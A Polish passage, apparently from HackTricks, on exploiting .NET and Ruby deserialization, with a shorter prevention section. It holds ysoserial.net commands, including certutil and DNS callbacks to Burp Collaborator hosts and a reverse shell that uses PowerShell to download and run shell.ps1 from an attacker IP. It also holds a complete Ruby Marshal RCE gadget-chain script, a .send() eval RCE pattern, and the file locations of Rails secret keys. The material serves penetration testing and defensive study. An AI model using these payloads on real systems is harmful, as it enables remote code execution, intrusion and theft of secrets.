Jeśli chcesz dowiedzieć się, jak ysoserial.net tworzy swoje exploity, możesz sprawdzić tę stronę, na której wyjaśniono gadżet ObjectDataProvider + ExpandedWrapper + formatter Json.Net.

Główne opcje ysoserial.net to: --gadget, --formatter, --output i --plugin.

  • --gadget używane do wskazania gadżetu do wykorzystania (wskazuje klasę/funkcję, która będzie wykorzystywana podczas deserializacji do wykonania poleceń).

  • --formatter, używane do wskazania metody do serializacji exploita (musisz wiedzieć, która biblioteka jest używana w backendzie do deserializacji ładunku i użyć tej samej do jego serializacji).

  • --output używane do wskazania, czy chcesz, aby exploit był w formacie raw czy base64. Zauważ, że ysoserial.net będzie kodować ładunek używając UTF-16LE (domyślne kodowanie w Windows), więc jeśli uzyskasz surowy ładunek i po prostu zakodujesz go z konsoli linuxowej, możesz napotkać problemy z kompatybilnością kodowania, które uniemożliwią poprawne działanie exploita (w przypadku HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działać).

  • --plugin ysoserial.net obsługuje wtyczki do tworzenia exploitów dla konkretnych frameworków jak ViewState.

Więcej parametrów ysoserial.net

  • --minify zapewni mniejszy ładunek (jeśli to możliwe)

  • --raf -f Json.Net -c "anything" To wskaże wszystkie gadżety, które mogą być używane z podanym formatterem (Json.Net w tym przypadku)

  • --sf xml możesz wskazać gadżet (-g), a ysoserial.net będzie szukać formatterów zawierających "xml" (niezależnie od wielkości liter)

Przykłady ysoserial do tworzenia exploitów:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net ma również bardzo interesujący parametr, który pomaga lepiej zrozumieć, jak działa każdy exploit: --test Jeśli wskażesz ten parametr, ysoserial.net spróbuje eksploatacji lokalnie, abyś mógł przetestować, czy twój ładunek zadziała poprawnie. Ten parametr jest pomocny, ponieważ jeśli przejrzysz kod, znajdziesz fragmenty kodu takie jak ten (z ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

To oznacza, że aby przetestować exploit, kod wywoła serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

W poprzednim kodzie występuje luka w zabezpieczeniach, która została stworzona. Jeśli znajdziesz coś podobnego w aplikacji .Net, oznacza to, że prawdopodobnie ta aplikacja również jest podatna. Dlatego parametr --test pozwala nam zrozumieć które fragmenty kodu są podatne na exploit deserializacji, który ysoserial.net może stworzyć.

ViewState

Zobacz ten POST o tym, jak spróbować wykorzystać parametr __ViewState w .Net aby wykonać dowolny kod. Jeśli już znasz sekrety używane przez maszynę ofiary, przeczytaj ten post, aby dowiedzieć się, jak wykonać kod.

Zapobieganie

Aby zminimalizować ryzyko związane z deserializacją w .Net:

  • Unikaj pozwalania strumieniom danych na definiowanie swoich typów obiektów. Wykorzystuj DataContractSerializer lub XmlSerializer, gdy to możliwe.

  • Dla JSON.Net, ustaw TypeNameHandling na None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Unikaj używania JavaScriptSerializer z JavaScriptTypeResolver.

  • Ogranicz typy, które mogą być deserializowane, rozumiejąc inherentne ryzyko związane z typami .Net, takimi jak System.IO.FileInfo, które mogą modyfikować właściwości plików na serwerze, co potencjalnie prowadzi do ataków typu denial of service.

  • Bądź ostrożny z typami mającymi ryzykowne właściwości, jak System.ComponentModel.DataAnnotations.ValidationException z jego właściwością Value, która może być wykorzystana.

  • Bezpiecznie kontroluj instancjonowanie typów, aby zapobiec wpływowi atakujących na proces deserializacji, co sprawia, że nawet DataContractSerializer lub XmlSerializer mogą być podatne.

  • Wprowadź kontrolę białej listy przy użyciu niestandardowego SerializationBinder dla BinaryFormatter i JSON.Net.

  • Bądź na bieżąco z znanymi niebezpiecznymi gadżetami deserializacji w .Net i upewnij się, że deserializatory nie instancjonują takich typów.

  • Izoluj potencjalnie ryzykowny kod od kodu z dostępem do internetu, aby uniknąć narażenia znanych gadżetów, takich jak System.Windows.Data.ObjectDataProvider w aplikacjach WPF, na niezaufane źródła danych.

Referencje

Ruby

W Ruby, serializacja jest ułatwiana przez dwie metody w bibliotece marshal. Pierwsza metoda, znana jako dump, jest używana do przekształcania obiektu w strumień bajtów. Proces ten nazywa się serializacją. Z kolei druga metoda, load, jest stosowana do przywracania strumienia bajtów z powrotem do obiektu, co nazywa się deserializacją.

Aby zabezpieczyć zserializowane obiekty, Ruby wykorzystuje HMAC (Hash-Based Message Authentication Code), zapewniając integralność i autentyczność danych. Klucz używany do tego celu jest przechowywany w jednym z kilku możliwych miejsc:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Ogólna deserializacja Ruby 2.X do łańcucha gadżetów RCE (więcej informacji w https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Inne łańcuchy RCE do wykorzystania w Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Metoda Ruby .send()

Jak wyjaśniono w tym raporcie o podatności, jeśli nieprzetworzony input od użytkownika dotrze do metody .send() obiektu ruby, ta metoda pozwala na wywołanie dowolnej innej metody obiektu z dowolnymi parametrami.

Na przykład, wywołanie eval, a następnie kodu ruby jako drugiego parametru pozwoli na wykonanie dowolnego kodu:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Ponadto, jeśli tylko jeden parametr .send() jest kontrolowany przez atakującego, jak wspomniano w poprzednim opisie, możliwe jest wywołanie dowolnej metody obiektu, która nie potrzebuje argumentów lub której argumenty mają wartości domyślne. W tym celu można wyenumerować wszystkie metody obiektu, aby znaleźć interesujące metody, które spełniają te wymagania.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Wsparcie HackTricks

Last updated